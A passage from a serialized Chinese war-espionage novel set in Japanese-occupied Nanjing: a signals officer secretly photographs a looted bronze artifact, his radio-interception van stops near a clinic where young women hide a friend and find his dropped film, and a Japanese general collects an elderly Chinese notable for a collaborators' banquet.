既然没了希望,再待下去已没有意义,渡边意味深长地拍了拍他的肩,就欲离去,忽听到稻田说道:“渡边小姐,你们行动处有照相机吗?” 渡边愣了片刻,回答道:“当然有啊,你要相机干嘛?” 稻田犹犹豫豫道:“……我想拍张照片寄回去,给我母亲看看,以解她的思念之情……” “没问题,你和我一道来取。”渡边说完走在前面,快到二楼时,她又回头对稻田说道:“拍好照后,我可以安排技术科的人帮你洗出来,完全免费!” 稻田勇并没有立即回话,而是吞吞吐吐道:“那太麻烦渡边小姐了……” “你和我还客气什么?”渡边顽皮一笑。 取回照相机,稻田再次来到憩庐门前的空地上,对布置侦听车的技术人员稍加指导一番,便借故离开了。 稻田勇直奔他的宿舍而来。 进门之际,他特地向走廊两边张望一番,确信无人后,才把门关上,并从里面将门反锁。 他先是拉上了窗帘,把他的行李箱从床下拖拽而出,接着掏出钥匙,拧开了行李箱上的锁。 赫然出现在他眼前的是一尊模样荒诞古怪的器物。 从材质上看,分明是青铜,从器物外形上看,分明是一只模样凶煞的老虎意欲吞食一人。 此器物将近四十厘米,工艺极其繁琐,分量坚沉。 至于这件器物到底是何物,稻田也说不上来,尽管对文物古玩没有什么研究,但直觉告诉他,这是一件价值不菲的宝物。 况且,这件宝物乃是原中国最高统帅蒋总统的府邸摆玩之物,价值岂能平凡? 稻田第一眼看到它,就怦然心动! 部队刚攻下南京时,稻田勇作为第十六师团中岛今朝吾手下的一名通讯处长,跟随一线作战部队奉命对当时的憩庐进行接管,他是最先进入蒋总统的卧室的,看到这件宝物后,他所产生的第一念头就是将它占为己有,并且意愿如此强烈。 见四下无人,稻田勇先是把它移至床下,为了不让他人发现,他一直在寻求把它单独带出憩庐的机会。 终于在当天晚上,他找到了这样的机会,把它藏在木箱中,带出了憩庐,所幸的是,当时居然没有人盘问或检查,事实上,那段时间,中饱私囊者又何止他一人,难道不是所有人都在想方设法巧取豪夺? 后来他鬼使神差进了黑木组建的松机关,后来松机关又鬼使神差选择了憩庐作为办公地,难道这一切不是说明他和此处有着千丝万缕的关联? 本来,如果渡边对他稻田有意思,他是想将这件宝物拱手相赠于她的,可是渡边小姐从未明确表示出这方面的意愿,甚至对他不屑一顾,这让稻田又伤心又绝望!然而近段时间来,渡边似乎对他产生了那么一丁点的好感,稻田惶恐之余,不止一次痛下决心要将此物馈赠与她,孰料,这个时候老家来信了。 嗜赌如命的父亲欠下了高额债务,他那个破败不堪的家已无力偿还,这个时候,稻田勇不能不管了,退一万步讲,他也算是为了自己的母亲。 无奈之下,稻田勇想了一个办法,那就是用这件宝物来抵消父亲的债务。 可是至于能不能如愿,稻田勇是没有底的,他不能把这件窃来的器物公布于众,让行家里手来鉴定,万一确实是稀罕物,说不定它会很快改换门庭,谁让他官衔卑微呢? 稻田勇想出了一个最稳妥的方法,那就是将它拍成照片寄回家乡,让父亲的债主过目,看能否两相抵消赌债,如果债主欣然同意,这不就说明此物价值连城?到时再想办法帮父亲还债也不迟。 主意已定,稻田便向渡边借来相机,他必须尽快将拍好的照片寄回去,以减轻父母亲的压力,同时也起到缓兵的作用。 房间的光线有些暗,对照片的清晰度有影响。 稻田铺好床单,把那件宝物规整地摆放在中间,接着,他要打开窗帘,让室外的光亮照进来。 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第147章 稻田的心思 稻田勇先是将窗帘开了一条缝,通过那条缝朝窗外瞟了几眼,确信无人后立即把窗帘彻底拉开。 照相机早就对好焦,稻田很快从前方以及左右两侧三个视角各拍了一张,尚觉得还有不足,又加了一张俯视照,这才匆匆放下相机,拉上窗帘,然后将宝物重新归整放入木箱,再把木箱推进原位。 一切进行完毕,前后不到五分钟时间。 稻田飞快地出了宿舍,回到了憩庐门前。 这时他顿时显得悠然起来,招手叫了一名部门下属,大声道:“野田君,帮我和憩庐合一张影。” 那名叫做野田的男子放下手中的活计,兴高采烈地接过稻田手里的相机,煞有介事地开始给稻田取景拍照。 稻田一边整理仪容,头不自觉地转到一边,目光掠过渡边雪奈办公桌前的窗户,回头对野田有意无意地高声说道:“这里的景致真不错,我刚刚在憩庐的后面拍了几张……喂,野田君,你一定要帮我把这棵雪松拍进去!” “好咧,稻田股长!” 拍完照,稻田勇收起相机正待离去,不知是谁率先嚷了一句:“股长,我也想拍一张。”稻田应允,大方地把相机递过去,那些正在改装电波侦听车的电讯股的下属们立即炸开了锅,一窝蜂地从车里涌出,纷纷要求亮相自拍。稻田怕如此局面影响恶劣,一方面电讯股的直接上司川上中佐曾反复要求天黑之前一定要将侦听车改装完毕,便于今夜就开始执行任务;另一方面,稻田一直觉得松机关的最高长官黑木将军对自己不甚友好,这些如果被他看到,说不定会因此大做文章,对自己极为不利!想到这儿,稻田立即招呼所有人站在侦听车前,由他统一给大家合一张影,算是对所有人的一种安慰。 合影是成本最低廉且最高效快捷的照相方式。 稻田给大家拍好合照,不再理会意犹未尽的下属的抱怨,进了憩庐,一边上楼,稻田一边取下胶卷,提着空相机来到渡边的办公室。 稻田向渡边道了一声谢。 渡边接过相机,问道:“胶卷在里面吗?” “我取下来了!”稻田如实相告。 “我让技术科顺便冲洗出来,是多简单的一件事啊!” “不麻烦渡边小姐了,我拍照纯粹是私事,公私不能混在一起,否则是要被长官批评的!” 渡边不再勉强,把相机放到了柜子中,转身之际,听到稻田问道:“渡边小姐,听说南京城开始施行良民证了?良民证上的证件照是在南京城哪里拍的?” “稻田君为何要问这些?” 稻田想了想道:“刚才我给我的同僚拍了一张合影,需要人手一张,他们都想寄一张照片回老家,所以需要冲洗大量的照片,这也是我不想麻烦渡边小姐的原因。” “你想找一家照相馆?”渡边责怪地继续道:“你又何必多此一举?我让技术科冲洗照片还不是举手之劳?” “谢谢渡边小姐的好意。”稻田期望的眼神看着渡边。 “中山中路刚开了一家照相馆,南京市民的良民证证件照就是在那里拍的……叫悦颜照相馆,就在一家电影院的对面,它的旁边是一家诊所,叫做……利民诊所。”渡边觉得稻田固执得有点不可理喻。 “谢谢渡边小姐。” 稻田勇出了渡边的办公室,又来到憩庐门前,和同僚们一道,开始了电波侦听车紧张而高效的改装。 其实,稻田勇又何尝不想让技术科来冲洗照片?这样做既省事又方便,可是技术科的那帮人,不但精明,而且嗅觉很灵,如果那样做,他的秘密岂不大白于天下? 稻田早就想好了,他要利用今天难得的出外勤的机会,找到那家照相馆,尽快把这些照片洗出来。 这个时候,侦听车如期完工就显得异常迫切,他要赶在照相馆的伙计下班前赶到,及时把外衣兜里的胶卷送到他们的手里。毕竟,下次出外勤还不知何时。 川上麻衣中佐对接下来的工作有过细致的安排,这辆经过改装的侦听车在今后游弋在南京城的大街小巷将成为常态,主要任务就是捕捉随时翩然而至的电波信息,进行解密并移动跟踪,游动过程中,侦听车已经可以同步呼叫在松机关待命的特别行动处,对可疑地点和可疑信号进行拉网式的搜捕,锁定嫌疑目标后对它的空间挤压,最终实施抓捕。 为了更有效完成此项任务,渡边以电讯股的技术人员为核心,编成了五个班次,轮流上路,前期以稻田勇为主,主要原因是因为侦听车尚还处在调试阶段,必须要专业能手亲自出马,才能保证万无一失。 夕阳西下,憩庐门前的那棵肃穆古老的雪松拖着长长的影子,静静地见证着时间的流逝。 “你快去报告一下川上中佐,改装完毕!”稻田长吁一口气,对野田命令道。 几分钟后,川上麻衣风风火火从楼里跑了出来,径自来到车前,将脑袋探进去环视一番,对稻田问道:“这就行了?” 本小章还未完,请点击下一页继续阅读后面精彩内容!稻田点头道:“我马上带我的一组人上路,亲自调试一下!” 川上疑惑地看了稻田一眼,稻田如此积极的态度倒是让他诧异。 稻田却不再看他,把目光停在一名下属的脸上,“你守在电讯股,将我们的九号电台一直开着,作为实验参照物,另外,务必和我们车载电台随时保持联系,万一有什么情况,可以及时通联!” “好吧,你赶紧出发吧,注意记录。”川上这才表态,他对身旁一人吩咐道:“你的,去把行动处分配给我们的人员叫过来,随稻田君一起上路。” 准备工作持续了数分钟,稻田组长发话命令司机启动车辆。 车子一出黄浦路,稻田毫不犹豫命令道:“先去中山中路一带侦查!” 除了行动处的两名队员,车里的所有技术人员开始了紧张的调试。 稻田勇一边指挥,一边留意着街边的景况。虽然还没到中山中路,但或许沿路还是有其它的照相馆,只要是照相馆,管它是悦颜还是美颜! …… 池碧疆派来的联络员牛玉高走后,曲思秋躺在床上踏踏实实睡了一小会觉,醒来后,曲思秋一看时间已将近下午五点,便匆忙出了房间。 诊所里没有病人,陶楚歌一人坐在桌前,拿着一支笔,在一张纸上涂涂画画。 曲思秋来到陶楚歌的身后,她居然没有发现。曲思秋低头看了一眼她面前的那张纸,原来陶楚歌是在作画,纸上勾勒了一个年轻男子的模样,整个轮廓已显现,曲思秋看的时候,她正在描绘画中人的眼睛。 “画谁呢?你的心上人?”曲思秋戏谑道。 陶楚歌没有发现身后有人,这突如其来的声音吓了她一跳。 “哪有啊,我就是闲着无聊,随便画着玩玩。”陶楚歌的脸微微一红。 曲思秋看她面色羞赧,正要奚落她一番,陶楚歌马上转移了话题:“咦,罗蔓呢?今天怎么没看到她?” “哦,下雪天太冷了,她的衣服也不够,我叫她去我家挑几件她可以穿的衣服,再顺便帮我把我的那件大衣取来。” “我说呢?” 曲思秋忽然想到她已走了好几个小时,不无担忧道:“她怎么这么长时间还不回?一去都有四个小时了!” “会不会出什么事啊?”陶楚歌也担忧起来,“待会儿赵楷哥会来接我回家,本来我以为她可以留下来陪你,看来我一时半会走不了了!” “没关系的,你尽管走好了,我一人也习惯了,再说现在日本鬼子也不会随便抓人杀人了!” “不行,我还是得等罗蔓回来才能走,要不然我不放心!” 曲思秋不觉走出诊所,站在诊所门前向斜对面的那条小巷子张望。 没有罗蔓的身影。 不知怎么回事,当曲思秋一看到那条巷子,眼前马上浮现出昨夜惊心动魄的一幕,也正是在那条巷口,曲思秋亲眼目睹了林赤被抓的整个过程,想到这里,她的心又一阵疼痛,便把目光转移到右侧的悦颜照相馆。 此时此刻,悦颜照相馆的大门紧闭,自早晨赵楷来到照相馆、得知昨夜所发生的一切后,已将照相馆关闭,不再营业,并让人在照相馆的大门上贴了一张停业通告。 物是人非,曾经的熟悉身影已经不会再在那里出现了。 黯然神伤的曲思秋不想再呆,进了诊所。 “见到罗蔓了吗?”陶楚歌已把她面前的素描像收起。 “奇怪了,怎么还不回来?”曲思秋愁眉不展。 “再等等吧,她不回来我不回去,我留下来陪你!”陶楚歌坚定地说:“我知道,林大哥的被捕,你心里难受,你一定需要一个和你说说话的人……” 仿佛是伤痛一下子又被唤醒,曲思秋顿时有想哭的感觉。 陶楚歌知道不小心又触痛了她,定定的看着曲思秋,想说什么又强行忍住,可这句话藏在心中如鲠在喉,不吐不快,犹豫俄顷,还是憋不住了,终于吞吞吐吐说道:“思秋姐……林大哥的被捕,你以为就你一人伤心?!” 曲思秋抬眼看她,却见陶楚歌继续坚决说道:“其实……我也是喜欢林大哥的!” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第148章 闯入诊所的日本人 陶楚歌一口气说完,顿有如释重负之感。 说完之后,她马上感到了后悔。她不知道自己为何要在此时此刻说出这样的话,这不是在对方的伤口上撒盐吗?一切都是那么不可思议,鬼使神差中似乎有一种力量逼她急于表白什么,现在想来,这句话是那么的不合时宜,可是,话既然已经说出来了,如同泼出去的水,收回已经绝无可能,一阵忐忑之后,陶楚歌已无所顾忌,大胆地迎向曲思秋的目光,她在等待对方的爆发。 指责?嘲弄?奚落?鄙视?挖苦?……陶楚歌已做好了所有的准备。 期待地风暴却没有如约而至,曲思秋只是平静地看她,目光清澈如水,竟然看不出一丝喜怒。 陶楚歌大感意外,总以为刚才的一番话对方并没有听清,又以为对方沉浸在自己的世界里,把与她无关的一切屏蔽在外! “思秋姐……”陶楚歌嗫嚅喊道。 半晌,曲思秋幽怨地叹了口气,伸手抚摸着陶楚歌的秀发,爱怜地目光中有着淡淡的无奈。 是啊,这一点,曲思秋又何尝看不出来?女人天生敏感的本性已让她洞察秋毫,好多次眼前这位比自己年幼几岁的少女,对林赤表现出的那份殷切关怀又怎能不让曲思秋察觉?开始曲思秋仅仅以为她爱屋及乌,但时间一长,曲思秋便不那样认为了,但凡陶楚歌在场,只要曲思秋和林赤单独相处,她总是及时出现。 “我错了……”陶楚歌声音低如蚊吟。她像一个做错事的孩子期待着曲思秋的批评。 “你何错之有?”曲思秋尽量装作风淡云轻的样子,“爱情是自由的,谁都不能阻止你追求爱和被爱的权利!” “那我该怎么做?”陶楚歌仿佛受到了某种暗示,毅然道:“我真的很喜欢林大哥,打心底喜欢!如果这辈子得不到他,我都不知道活着的意义!” 说到这儿,曲思秋才知道对方对林赤的爱之切,忽然之间感到问题的严重性,内心无比沮丧,竟空荡荡起来。尽管如此,曲思秋不想被对方看穿,就马上显出一副无所谓的样子,强颜笑问道:“你是什么时候喜欢上林赤的?” “说不上……大概是在安全区的那天晚上,他被日本人那么恶狠狠地抽打,居然毫不妥协,那时我应该是满心敬佩他……后来我教他日语,他一学就会,又表现出了超常的学习能力……我应该是那时对他产生爱慕之心的!” “你还教他日语了?”曲思秋淡淡问道。 “是啊,前后加起来就教了几天,不过就这几天,他已掌握了不少……” 接下来,诊所里出现了长时间的沉默,两人均各自想着心事,良久良久,率先说话的是曲思秋。 “如果林赤还有机会出来,你要抓住机会对他表露心迹……” “你是说……林大哥凶多吉少?”陶楚歌一脸忧愁。 “对日本人来说,他犯的可是死罪!”话一说出,曲思秋悲愤难抑,双手掩面,泪水夺眶而出,竟不能自已。 “……无论如何,我要想办法救他!”陶楚歌决然道,“我再去求我爷爷,他如果不答应我,我就……” “算了!”曲思秋擦了擦眼角,“这件事情,你爷爷也有心无力!毕竟,这不是一件普通的案件!” 陶楚歌正待分辩几句,却被门外骤然而至的一串急促的脚步声打断,紧接着大门被人撞开,罗蔓手拎一只布包冲了进来,神色慌张,一进门就急切叫了起来,“日本人来啦!” 曲思秋知道罗蔓的非人遭遇,内心深处极其惧怕见到日本人,正要安慰几句,却看到罗蔓把布包放到地上,飞一般爬上了二楼。 陶楚歌却镇定自若,面无惧色,不退反进,径自走向大门,毫不迟疑地开了门,对着街上凝视片刻,回头对曲思秋道:“看样子不像是是来抓人的,咦,那辆车很奇怪!” 曲思秋好奇心大起,便也走上前去一看究竟。 果然,在街的对面大华电影院门前,停着一辆外观奇特、二人从未见过的汽车,车身漆成了墨绿色,车顶上竖着几根很高的天线。 这辆车的车头上插着太阳旗,显然是一辆日本军车。 而就在和利民诊所相隔一间店铺的悦颜照相馆门前十数米远的地方,居然站着一个身着军服的鬼子军官,他的身子是僵化的,目光直接落在了利民诊所所在的方向。 他犹豫片刻,终于启动了步子。 他所行进的方向正是利民诊所! 陶楚歌这才感到害怕,慌忙关上门,拉着曲思秋跑回桌前坐了下来。 二人惴惴不安,不时把目光瞟向诊所大门。 不一会儿,门外响起了急骤地脚步声,接着,那扇大门不出意外地被人推开,对方并不莽撞的推门方式让楼下的两位女孩稍稍心安。 是一位年轻的日本军官,皮肤白皙,看样子只比曲思秋略大几岁,他站在门口并没有突兀地闯入,而是把一只手搭在门上,向屋内扫视了一眼,当他看到面前只是两位年轻貌美的女孩时,才放心地走了进来。 这章没有结束,请点击下一页继续阅读!他一边走进一边用很生硬的中国话问道:“是不是刚刚进来了一位女孩?” 说着他已走到陶楚歌的身旁,陶楚歌不敢看他,将脑袋埋得更低了。 他于是弯下腰,从下面仰头看陶楚歌的脸,陶楚歌心中发怵,不禁把头埋向胸前。 那人迟疑了一下,还是伸手去托陶楚歌的下巴。 他的手指一触到陶楚歌的脸,陶楚歌已无法容忍,不禁抬头用日语怒斥道:“什么的干活?” 那人没想到眼前的女孩会用日语和他对话,神色一呆,眼睛里布满惊愕之色,却更坚定地看着陶楚歌,把她仔细打量一遍,也用日语应道:“……哦……不是的。”他的语气透着失望。 曲思秋担心陶楚歌,很快走上前来,站在那人身旁,提高声音道:“你要干什么?” 那人马上又换成了蹩脚的中国话,“我刚刚看到一个姑娘,明明进来了……” “你一定看错了,这间屋子里只有我们二人。” “不,我不会看错的!”那人四下环顾,径自向屋内走去,把里间卧室房门一把推开。 曲思秋跟着他身边,那人来到卧室,到处打量着,目光停在床上,想了想还是低下身子趴在地上向床下扫视着,确信没有藏人后这才走出,接着他又进了盥洗室,照例查看一番。 重新回到原地的他,终于发现了门后的通向二楼的楼梯,正要上楼,陶楚歌赶紧用日语喝道:“你不能上去!” 那人一愣,迫于对日语的敬畏,就央求道:“我只是到楼上看看……” “不行!”陶楚歌继续用日语大声回敬,“如果阁下一意孤行,我要把你控告给松机关的黑木将军!” 那人一听到黑木的名字,明显畏惧起来。 “我和黑木将军很熟……”陶楚歌看黑木的名字似乎很管用,便再接再厉,“黑木将军不止一次说过,你们日本士兵恪守将令,从不随随便便强闯民宅!”陶楚歌开始胡说八道。 那人显得极不甘心,正要强行上楼,这时门吱嘎一声又被推开,有一人探头进来,朝着屋内的日本军官喊道:“黑木将军在线上找你!” 那人听到这里,无奈地看了一眼通向二楼的楼梯通道,匆忙跑出房间。 曲思秋和陶楚歌二人同时松了一口气。 曲思秋跟到门口,把大门开了一条小缝,一边窥视着外面,一边提高声音吩咐楼上的罗蔓:“鬼子还没走,不要出来!” …… 稻田勇一出利民诊所,身后的野田迫不及待问道:“稻田股长,你怎么啦?一副神不守舍的样子……” 稻田勇一路小跑,听到野田的问话,稍稍放缓脚步,回答道:“我好像看到了一个熟人……” 野田夸张道:“在南京城你看到了熟人?这太不可思议了!” “或许是我看花眼了……”稻田勇说着已回到电影院门前的侦听车旁,钻进车里一把抓起电台话筒:“喂喂,我是稻田勇,将军请讲!” 已等了不少时间的黑木显得很不耐烦:“稻田君,我的直觉告诉我,这两天敌人的电台必定有所行动,请密切监视,一有情况立即汇报!” “是将军!” 黑木对双方清晰的通话音质很满意,语气也愉悦起来:“我们前期锁定的一二号敌台应该分属国共两党,你要刻意留意对方的频率,详尽记录并进一步缩小范围!” “放心吧将军!这套侦听设备是最先进的,你可能都无法想象……德国人就是牛,他们的侦听技术要远远超过我们!” “你现在哪里?” “中山中路一带……”稻田还是说了实话。 “怎么会去那里?那片不是我们重点监控区域啊,你还是要有所侧重,这样才能快速反应!” “是将军!” 结束了和黑木的通联,稻田又把目光聚集到了悦颜照相馆,想了想他还是决定把胶卷送去冲洗。可刚刚走到街中央,他已然发现照相馆大门紧闭,不像营业的样子,接着再前进几步,他看到了大门上的停业告示。 原来这家照相馆关门停业了! 失望的稻田在街中央彷徨了几秒钟,本想再行前往诊所查看,但想到了那位女孩的话语,忽然间就意兴阑珊了! 或许真是自己看花眼了,真是夜有所梦日有所思、思之切情至深啊! 这样的念头一出现,稻田重新爬上车,对一众人道:“这家照相馆关门大吉了,看来你们的合影需要重找地方。” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第149章 意外的发现 在门后窥视的曲思秋和陶楚歌二人看到那辆长相奇特的汽车绝尘而去,心中的一块石头才落了地。 陶楚歌大声招呼楼上的罗蔓:“罗蔓,你可以下来了,日本人已经滚蛋了!” 楼上立即出现窸窸窣窣的响动,罗蔓出现在楼梯上,下到一楼,曲思秋才发现她一身尘土。 “一个日本人,把你吓成这样?”陶楚歌笑道。 罗蔓的神色已不再慌张,但神态却显出怪异,似乎是沉浸在某种回想之中。陶楚歌的这句话立即打断了她的思绪,她立即回过神来,苦笑道:“我一看到日本鬼子,就浑身发抖!” 曲思秋洞察罗蔓恐惧的根源,就岔开了话题,“瞧你一身脏的,你躲哪里啦?” “床底下……”罗蔓得意说道,“鬼子即使上了二楼,也未必会找到我的。” “切!”曲思秋不屑道:“你以为鬼子都是笨蛋?他刚才进了里间卧室,最先做的就是在床底下找!” 罗蔓不再吱声,心不在焉把从曲思秋家里带来的衣服布包递给曲思秋,说道:“你能穿的衣服,你妈都给你收拾好了,我一并带来了。” 曲思秋接过布包,进了卧室,把布包打开,将衣服悉数取出,在床上细心整理着,将罗蔓能穿的挑出,重新装包,把自己需要的摆放在床头。 收拾完毕,曲思秋拎起布包正要出门,忽然目光无意聚焦在一件物品上! 是一筒胶卷。 曲思秋本以为这是悦颜照相馆某人遗留在此,弯腰捡起一看,外壳上竟全是日文,一个字也不识,看到这里,曲思秋的脑海突然浮现那位日本军官俯首探视的模样。 一定是那位鬼子军官趴在地上时不小心遗落的。 思念及此,曲思秋连忙将胶卷装进口袋。 这时门外响起了熟悉的汽车喇叭声,曲思秋知道一定是来接陶楚歌回家的赵楷。 果不其然,赵楷一进门就喊了起来:“陶楚歌,你爷爷喊你回家吃饭!” “马上就走!”陶楚歌看了一眼曲思秋,轻声道:“思秋姐,我走了。” 就在不久前的那一番直白,经过时空的降温,陶楚歌显得不自然起来,她不敢直视曲思秋,低着头收拾收拾,扭头快步出了房间。 赵楷和曲思秋以及罗蔓寒暄片刻,不想让陶楚歌久等,便也匆匆走了。 曲思秋忽然想到什么,追出门外,对着即将走到车前的赵楷喊了声:“赵大哥,你稍等一下,我找你有点事。” 赵楷停下脚步,重新找到曲思秋的面前。 曲思秋把赵楷拉到一旁,掏出那筒胶卷,塞到赵楷手里。 “赵大哥,帮我把这筒胶卷洗出来。” 赵楷把胶卷放进口袋,“好的……是什么照片?”赵楷无意问道。 曲思秋不想瞒他:“刚才诊所里来了一个日本人,这筒胶卷应该是他遗落的。” “到底怎么回事?”赵楷好奇问道。 曲思秋便一五一十告知了他所发生的一切。 “没问题,我亲自洗,明天给你怎么样?” “不是很急……我只是好奇这筒胶卷里的照片,我想知道它到底拍了什么?也许毫无意义。” “哦,我知道了。” …… 夜幕降临,黑木走出憩庐。 他的身后跟着渡边雪奈少佐和川上麻衣中佐。 他要带他们二人去参加今晚给刘云雄举行的欢迎宴会。 宴会的地点是太平路上的绿柳居,老虎桥监狱的副典狱长陈炳松应该早就订好了包间。 今晚的宴会,阵容可谓空前强大,不但有老虎桥监狱的正副典狱长,黑木还特地邀请了秦淮区公所的丁易白。黑木辖下的三大区公所,要数丁易白印象最佳,倒不是这位丁易白多次馈赠黑木礼物,而是黑木觉着这位体型微胖的中国人是真心帮助皇军的,他工作勤奋,几乎是一丝不苟,黑木凡是交待给他的事情,他不折不扣完成,除此之外,此人还养成了每天汇报的习惯,这无不说明此人对黑木敬重有加,相比而言,其他两位所长就要逊色很多,先说薛飞风,此人一贯阳奉阴违,将曾经的不良习惯全部带进了现在的工作岗位;而另一位所长池碧疆,尽管黑木对他的印象尚可,可是他现在居然是文化泄密事件的最大嫌疑人,带他参加这样的宴会已无可能。 轿车从憩庐呼啸而出,轿车的后面紧跟的是数辆警卫军用摩托。 车行至半路,黑木忽然觉得还欠缺了什么。 思索片刻,黑木恍然大悟,原来是自己忘记叫上陶天阙了。 身份为南京自救会会长和赤盟会会长的陶天阙。 再说,林赤的被捕这件事上,他陶天阙还欠黑木一个说法!毕竟,林赤是在悦颜照相馆被抓的,这怎么说都让陶天阙脱不了干系。 今天这样的机会到底难得,他黑木要让死硬的陶天阙看看,就连身为中国少将旅长的刘云雄也改弦易辙,他陶天阙又有什么拿得起放不下的?他要让陶天阙明白一个道理,在生与死面前,所谓的民族气节狗屁不是! 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“先去三元巷的陶天阙府邸。”黑木吩咐司机道。 冬天的夜黑得要比任何时候早,还未到陶府,一转眼的功夫,已夜幕低垂。 陶府灯火通明。 黑木把车停在门前,从车上下来,他表现出十分的谦逊有礼,让门房通报了陶天阙,然后叫出渡边,二人站在门前等着陶天阙的出现。 果然,陶天阙闻听松机关的机关长黑木将军亲自光临,惶恐中透出不安,疾步走出,礼节性地相迎黑木进了府邸。 “看茶!”陶天阙赶紧吩咐老周。 “不用了!”黑木挥手制止,“我是特地来邀请陶会长赴宴的。” “哦?何喜之有?”陶天阙很意外,“什么宴会让将军屈尊寒舍?老朽实在惶恐之至!” “你去了就知道了。” “恭敬不如从命!”陶天阙不再推辞,“我换件衣服,请将军稍等片刻。” 陶天阙说完刚想进房间,却忽见另一间房间里跑出一个妙龄少女,直接冲到黑木面前。 这个女孩正是刚从利民诊所回家的陶楚歌。 陶天阙正要向黑木介绍自己的孙女,却听到陶楚歌率先对黑木问道:“您就是松机关的黑木将军?” 黑木打量了她一眼,微笑道:“正是!……请问你是?” “我叫陶楚歌,陶天阙是我爷爷。” 一旁的陶天阙只能打消换衣服的念头,走到黑木身旁,介绍道:“这是老朽的孙女。” “你好呀!”黑木摆出一副逗弄小孩的神情。 “我不好!”陶楚歌赌气道:“听说就是你们松机关抓了林赤?” 陶楚歌的问话让黑木非常诧异,愣了片刻,不觉道:“怎么,你认识那位林赤?” 陶楚歌这没有来由的问话不但惊到了陶天阙,也让一旁的渡边很吃惊,不得不重新看了一眼这个年轻女孩。 “他是我男朋友!”陶楚歌的话再次吓到了陶天阙,他不由得张大嘴巴,惊愕地打量着眼前的孙女。 “哦?原来是这么回事……”黑木一下子兴趣盎然起来,“你是说你的男朋友叫林赤?” 还没等陶楚歌回答,陶天阙喝道:“小孩子胡闹什么?!那林先生什么时候成了你的男朋友?!我怎么一点都不知道?!”说着赶紧对黑木道:“她就是个小孩,将军不要理会!”说着陶天阙狠狠瞪了她一眼。 陶楚歌却视而不见,继续对黑木道:“将军,我想问一下,你们要怎样才能放过他?” 陶天阙深谙孙女的脾气,她也知道这位从小尽享溺爱的孙女一向我行我素,自己这个时候是无论如何制止不了她的,索性坦然下来,他也知道林赤的被抓一定会被黑木大做文章,而黑木今夜的光临分明是来者不善,既然这一刻迟早会来到,还不如早一点到来,也免去那份煎熬。 想到此处,陶天阙不再躲躲闪闪,平静地对黑木说道:“我认识那位林先生,就是那晚你们在安全区金陵女子文理学院的操场上对他施刑,我想歌儿应该也是那晚知道他的,后来我看他人品还不错,就给他在我这里谋了一份差事,这些时间下来,我看他兢兢业业,还算满意,但至于他具体的身份,我一概不知……刚才歌儿说是她的男朋友,我想这定是歌儿的一厢情愿,我是看出来了,那位林先生另有女朋友,他心智成熟,断然不会看上我们歌儿的!” “那么请问一下陶老先生,您所说的那位林先生的女朋友到底是谁?”渡边好奇问道。 “那我就不知道了,就是一种感觉!” “会不会是叫曲思秋?”渡边引导着陶天阙。 陶天阙没想到渡边会说出“曲思秋”这个名字,愣了一下,还是说道:“这你们要问他本人了,他不是被你们抓起来了?” 渡边不再理会陶天阙,转头对陶楚歌道:“你有多喜欢他?” 陶楚歌瞟了她一眼,不屑道:“你有爱过的人吗?” 同为女人,如果没有一众人在场,渡边十分想和这位小姑娘好好探讨一下有关对爱情的理解,但现在显然不行,渡边的眉间掠过一丝苍凉的笑容,将头扭到一边。 “如果放了他,现在显然时机不到!”黑木的这句话算是对陶楚歌前面的问题的回答。 “那要等到什么时候?”陶楚歌咬住不放。 “一个最恰当的时机!”黑木已不想再和这个年纪看起来很小的姑娘纠缠不休,心中惦记今晚的宴会,深怕时间拖延太久,让其他人久等,就连忙对陶楚歌灿烂一笑,呵呵道:“这个问题我找机会和你探讨。”说着对陶天阙耸了耸肩,“陶会长,咱们抓紧时间,别让客人等我们啊!” 陶天阙放了心,对老周说道:“你带歌儿先去用餐,我今晚决定参加将军的宴会了……” 喜欢枪膛线请大家收藏:()枪膛线更新速度全网最快。 第150章 午夜的电波 由老周驾车载着陶天阙跟在黑木的车后,一行人来到绿柳居。 位于太平路上的绿柳居,远远就能看到灯光锦簇、霓虹飞舞,这和周围的一片荒芜产生了强烈的对比,显出勃勃生机。 黑木的车刚停下,一直候在门口的陈炳松疾步迎了上去,他的身后跟着店老板张尔鹤。陈炳松替黑木开了门,手臂形成拱状搭在黑木的头顶上。黑木一脚踏出车外,从副驾驶室和后排座位分别下了车的川上和渡边二人,以最快的速度挡在了黑木的身后,黑木微微对陈炳松点了点头,在众人的层层保护中,三两步闪进了饭店。 来到二楼包厢,刘云雄夫妇正和武内闲聊,在他们的旁边,坐着丁易白,见到黑木,四人同时起身相迎。黑木歉意道:“不好意思,让诸位久等了。” 黑木一坐定,陈炳松便把紧随身后的张尔鹤介绍给了黑木,“将军阁下,这位张先生就是该店的老板,也是绿柳居的第三代传人……”说着又对一脸堆笑的店主说道:“这位是帝国南京松机关的黑木瞳将军!” 黑木刚把目光停在张尔鹤身上,张尔鹤便惊呼道:“老陈,你怎么不早说,这么尊贵的客人光临鄙店,我好多做准备啊!” 黑木并未起身,只是淡淡道:“店老板如何称呼?” “鄙人姓张名尔鹤……” “说说看,你们店有何特色?” 陈炳松赶紧替老板介绍道:“这家店始创于民国初年,以素菜荤做为最大特色,开业以来,一直是民国达官贵人宴请宾客的首选场所,崇尚素食的孙文先生及注重美容的宋氏姐妹更是绿柳居的常客,戴季陶等国民党元老和一些文人墨客也常在此小聚……” 黑木忽然被包厢一壁上悬挂的十数张照片吸引,一边听着陈炳松的介绍,一边走出座位,细细端详着照片,突然指着一张孙中山的照片说道:“这位就是你们的先总理孙先生?” “是。”张尔鹤忐忑回答道。 “这张照片取下,其它保留!” “好的好的……”张老板亲自上前,小心翼翼把那张孙中山在店堂内的和他的先人的合影取下,接着说道:“将军还有何吩咐?” “给我们安排一下今晚的菜肴。” “将军放心,在下早有安排,我已自作主张给安排下去了,马上就可以上菜……” 正说着,陶天阙走近,一进门张尔鹤已认出了他,惊喜道:“陶老也来了,真是稀客!”说着连忙伸手和陶天阙相握。陶天阙颌首微笑道:“张先生别来无恙!” “托陶老的福,我很好!”张尔鹤看客人到齐,不便逗留,连忙呵呵一笑道,“诸位稍等,我这就去催菜!” 陶天阙入座,目光扫视了一圈,这时黑木已重新回到座位,起身给大家互做介绍,他先是郑重介绍起刘云雄:“刘云雄刘将军,原71军260旅少将旅长,如今是帝国的朋友……他的身旁,是他的夫人秦素芬秦女士……”刘云雄和秦素芬站起,和大家点了点头。 